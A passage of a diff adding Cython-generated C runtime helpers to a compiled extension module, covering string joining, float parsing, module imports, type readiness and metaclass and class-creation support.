j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pyobject_as_double */ + static double __Pyx__PyObject_AsDouble(PyObject* obj) { + if (PyUnicode_CheckExact(obj)) { + return __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + return __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + return __Pyx_PyByteArray_AsDouble(obj); + } else { + PyObject* float_value; +#if !CYTHON_USE_TYPE_SLOTS + float_value = PyNumber_Float(obj); if ((0)) goto bad; + (void)__Pyx_PyObject_CallOneArg; +#else + PyNumberMethods *nb = Py_TYPE(obj)->tp_as_number; + if (likely(nb) && likely(nb->nb_float)) { + float_value = nb->nb_float(obj); + if (likely(float_value) && unlikely(!PyFloat_Check(float_value))) { + __Pyx_TypeName float_value_type_name = __Pyx_PyType_GetName(Py_TYPE(float_value)); + PyErr_Format(PyExc_TypeError, + "__float__ returned non-float (type " __Pyx_FMT_TYPENAME ")", + float_value_type_name); + __Pyx_DECREF_TypeName(float_value_type_name); + Py_DECREF(float_value); + goto bad; + } + } else { + float_value = __Pyx_PyObject_CallOneArg((PyObject*)&PyFloat_Type, obj); + } +#endif + if (likely(float_value)) { + double value = PyFloat_AS_DOUBLE(float_value); + Py_DECREF(float_value); + return value; + } + } +bad: + return (double)-1; +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportDottedModule */ + #if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Error(PyObject *name, PyObject *parts_tuple, Py_ssize_t count) { + PyObject *partial_name = NULL, *slice = NULL, *sep = NULL; + if (unlikely(PyErr_Occurred())) { + PyErr_Clear(); + } + if (likely(PyTuple_GET_SIZE(parts_tuple) == count)) { + partial_name = name; + } else { + slice = PySequence_GetSlice(parts_tuple, 0, count); + if (unlikely(!slice)) + goto bad; + sep = PyUnicode_FromStringAndSize(".", 1); + if (unlikely(!sep)) + goto bad; + partial_name = PyUnicode_Join(sep, slice); + } + PyErr_Format( +#if PY_MAJOR_VERSION < 3 + PyExc_ImportError, + "No module named '%s'", PyString_AS_STRING(partial_name)); +#else +#if PY_VERSION_HEX >= 0x030600B1 + PyExc_ModuleNotFoundError, +#else + PyExc_ImportError, +#endif + "No module named '%U'", partial_name); +#endif +bad: + Py_XDECREF(sep); + Py_XDECREF(slice); + Py_XDECREF(partial_name); + return NULL; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Lookup(PyObject *name) { + PyObject *imported_module; +#if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + return NULL; + imported_module = __Pyx_PyDict_GetItemStr(modules, name); + Py_XINCREF(imported_module); +#else + imported_module = PyImport_GetModule(name); +#endif + return imported_module; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple) { + Py_ssize_t i, nparts; + nparts = PyTuple_GET_SIZE(parts_tuple); + for (i=1; i < nparts && module; i++) { + PyObject *part, *submodule; +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + part = PyTuple_GET_ITEM(parts_tuple, i); +#else + part = PySequence_ITEM(parts_tuple, i); +#endif + submodule = __Pyx_PyObject_GetAttrStrNoError(module, part); +#if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(part); +#endif + Py_DECREF(module); + module = submodule; + } + if (unlikely(!module)) { + return __Pyx__ImportDottedModule_Error(name, parts_tuple, i); + } + return module; +} +#endif +static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if PY_MAJOR_VERSION < 3 + PyObject *module, *from_list, *star = __pyx_n_s__25; + CYTHON_UNUSED_VAR(parts_tuple); + from_list = PyList_New(1); + if (unlikely(!from_list)) + return NULL; + Py_INCREF(star); + PyList_SET_ITEM(from_list, 0, star); + module = __Pyx_Import(name, from_list, 0); + Py_DECREF(from_list); + return module; +#else + PyObject *imported_module; + PyObject *module = __Pyx_Import(name, NULL, 0); + if (!parts_tuple || unlikely(!module)) + return module; + imported_module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(imported_module)) { + Py_DECREF(module); + return imported_module; + } + PyErr_Clear(); + return __Pyx_ImportDottedModule_WalkParts(module, name, parts_tuple); +#endif +} +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030400B1 + PyObject *module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(module)) { + PyObject *spec = __Pyx_PyObject_GetAttrStrNoError(module, __pyx_n_s_spec); + if (likely(spec)) { + PyObject *unsafe = __Pyx_PyObject_GetAttrStrNoError(spec, __pyx_n_s_initializing); + if (likely(!unsafe || !__Pyx_PyObject_IsTrue(unsafe))) { + Py_DECREF(spec); + spec = NULL; + } + Py_XDECREF(unsafe); + } + if (likely(!spec)) { + PyErr_Clear(); + return module; + } + Py_DECREF(spec); + Py_DECREF(module); + } else if (PyErr_Occurred()) { + PyErr_Clear(); + } +#endif + return __Pyx__ImportDottedModule(name, parts_tuple); +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__26); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* PyObjectSetAttrStr */ + #if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_setattro)) + return tp->tp_setattro(obj, attr_name, value); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_setattr)) + return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); +#endif + return PyObject_SetAttr(obj, attr_name, value); +} +#endif + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + 